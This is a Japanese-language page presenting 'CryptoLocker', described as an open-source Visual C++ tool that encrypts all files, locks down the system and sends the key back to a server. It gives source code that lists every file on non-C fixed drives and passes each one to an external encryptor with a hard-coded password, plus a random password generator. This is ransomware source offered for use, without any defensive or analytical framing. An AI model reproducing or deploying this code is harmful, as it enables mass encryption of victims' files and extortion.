
CryptoLockerは、オープンソースのファイル暗号化ツールです。CryptoはVisual C++で開発されています。すべてのファイルを暗号化し、システムをロックダウンして、鍵をサーバーに送り返す機能があります。マルチスレッド機能により、このツールの暗号化が高速化されます。
CryptoはオープンソースのCrypto-Lockerです。Visual C++で開発されています。すべてのファイルを暗号化し、システムをロックダウンし、キーをサーバーに送り返す機能があります。マルチスレッド機能により、このツールの暗号化を高速化します。
強力な256ビット暗号化アルゴリズムを使用しており、一度ファイルが暗号化されると、パスワードなしではファイルは完全に使用できなくなります。単純に読み取ることはできません。
暗号化のためにすべてのドライブからすべてのファイルを取得します。
以下は、Visual C++プログラムで、ドライブ内のすべてのディレクトリとファイルのリストを取得し、後で暗号化に使用するためにパスをテキストファイルに保存するものです。Boost C++ライブラリを使用してすべてのファイルリストを取得しています。コンパイルするには、最初にBoostライブラリをセットアップしてください。
#include <boost/config/warning_disable.hpp>
#include <boost/filesystem.hpp>
#include <iostream>
#include <iterator>
#include <stdio.h>
#include <windows.h>
using namespace std;
fstream out_file("data.txt", ios::out);
#define MAX 256
int main(int argc, char* argv[]) {
int dr_type = 99;
char dr_avail[MAX];
char *temp = dr_avail;
/* 1st we fill the buffer */
GetLogicalDriveStrings(MAX, dr_avail);
while (*temp != NULL) { // Split the buffer by null
dr_type = GetDriveType(temp);
char skip[10] = "C:\\";
if (dr_type == 3 && temp[0] != 'C') {
boost::system::error_code dir_error;
for (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) {
if (dir_error.value()) {
cerr << "Error accessing file: " << dir_error.message() << endl;
}
else {
cout << dir->path() << endl;
out_file << dir->path() << "\n";
}
}
}
temp += lstrlen(temp) + 1;
}
out_file.close();
system("pause");
まず、"data.txt"からファイルパスを1行ずつ取得し、暗号化タイプとパスワードと一緒にこの暗号化ツールに送信します。また、このプログラム全体を上位のループに組み込んで、パスの取得とデータの再帰的な暗号化を行うこともできます。
out_file.open("data.txt", ios::in);
string line;
while (out_file.good()) {
getline(out_file, line);
cout << line << endl;
std::string cmmd = "crpt.exe -e -p 4321 ";
cmmd += line;
system(cmmd.c_str());
}
長さを関数に渡すと、関数が複雑な長い生成パスワードを返します。これを暗号化に使用できます。
string RandomString(int len)
{
srand(time(0));
string str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
string newstr;
int pos;
while (newstr.size() != len) {
pos = ((rand() % (str.size() - 1)));
newstr += str.substr(pos, 1);
}
return newstr;
}